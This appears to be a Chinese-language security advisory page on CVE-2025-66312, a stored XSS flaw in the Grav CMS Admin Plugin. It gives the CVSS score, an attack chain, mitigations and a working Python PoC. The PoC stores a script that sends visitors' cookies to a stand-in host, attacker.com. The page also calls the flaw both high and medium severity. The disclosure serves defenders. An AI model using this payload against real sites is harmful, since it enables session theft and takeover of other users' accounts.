IPBUF安全漏洞报告
English
CVE-2025-66312 CVSS 5.4 中危

CVE-2025-66312 Grav Admin Plugin存储型XSS漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66312
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav Admin Plugin

相关标签

CVE-2025-66312Stored XSS存储型跨站脚本Grav CMSGrav Admin PluginWeb安全权限提升会话劫持CVSS 5.4中危漏洞

漏洞概述

CVE-2025-66312是Grav CMS管理插件中的一个高危安全漏洞,属于存储型跨站脚本(Stored Cross-Site Scripting)类型。该漏洞存在于Grav应用的管理后台accounts/groups端点中,攻击者可以通过data[readableName]参数注入恶意JavaScript脚本。由于是存储型XSS,恶意代码会被永久保存在服务器端数据库中,所有访问该页面的用户都会自动执行攻击者植入的脚本。此漏洞影响Grav 1.11.0-beta.1之前的所有版本,CVSS评分5.4,属于中等严重程度。攻击者利用该漏洞可窃取用户会话cookie、劫持用户账户、执行恶意操作或进行钓鱼攻击,对使用该插件的网站安全构成严重威胁。

技术细节

该存储型XSS漏洞位于Grav管理插件的/admin/accounts/groups/Grupo端点。漏洞根源在于应用程序未对用户输入的data[readableName]参数进行充分的输入验证和输出编码。当管理员或具有低权限的用户创建或修改用户组时,如果在该字段中注入恶意脚本(如<script>alert(document.cookie)</script>),该脚本会被直接存储到数据库中而未经安全处理。此后,任何用户访问用户组管理页面时,存储的恶意脚本会被浏览器解析执行。由于该漏洞位于管理功能中,攻击者需要至少拥有低权限账户(PR:L),且需要诱导其他用户访问恶意页面(UI:R),但一旦攻击成功,攻击者可获取管理员权限或窃取敏感信息。修复版本1.11.0-beta.1通过添加输入验证和输出编码解决了此问题。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用Grav CMS,并确认管理插件版本低于1.11.0-beta.1
STEP 2
Authentication
攻击者获取Grav管理后台的低权限账户(如编辑员或作者角色)
STEP 3
Payload Injection
攻击者构造恶意XSS payload,通过/admin/accounts/groups/Grupo端点的data[readableName]参数注入<script>标签
STEP 4
Persistence
恶意脚本被存储到服务器数据库中,在服务器端持久化存在
STEP 5
Trigger
当其他用户(如管理员)访问用户组管理页面时,浏览器解析并执行存储的恶意脚本
STEP 6
Impact
攻击者成功窃取用户会话Cookie、劫持账户、执行管理员操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66312 PoC - Stored XSS in Grav Admin Plugin # Target: Grav < 1.11.0-beta.1 TARGET_URL = "http://target-site.com" LOGIN_URL = f"{TARGET_URL}/admin" GROUPS_URL = f"{TARGET_URL}/admin/accounts/groups/Grupo" # Authentication credentials USERNAME = "admin" PASSWORD = "password" # Malicious XSS payload XSS_PAYLOAD = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' def exploit(): """Exploit stored XSS vulnerability in Grav admin groups endpoint""" # Step 1: Login to Grav admin panel session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=login_data) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload via data[readableName] parameter exploit_data = { "data[readableName]": XSS_PAYLOAD, "task": "saveGroup" } response = session.post(GROUPS_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload will execute when users access the groups page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit()

影响范围

Grav Admin Plugin < 1.11.0-beta.1
Grav CMS (all versions with vulnerable admin plugin)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1) 限制管理后台访问IP,只允许受信任的IP地址访问;2) 启用双因素认证增强账户安全;3) 监控管理日志关注异常请求;4) 考虑临时禁用用户组管理功能;5) 部署WAF规则过滤<script>等危险标签。建议尽快升级到官方修复版本1.11.0-beta.1以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表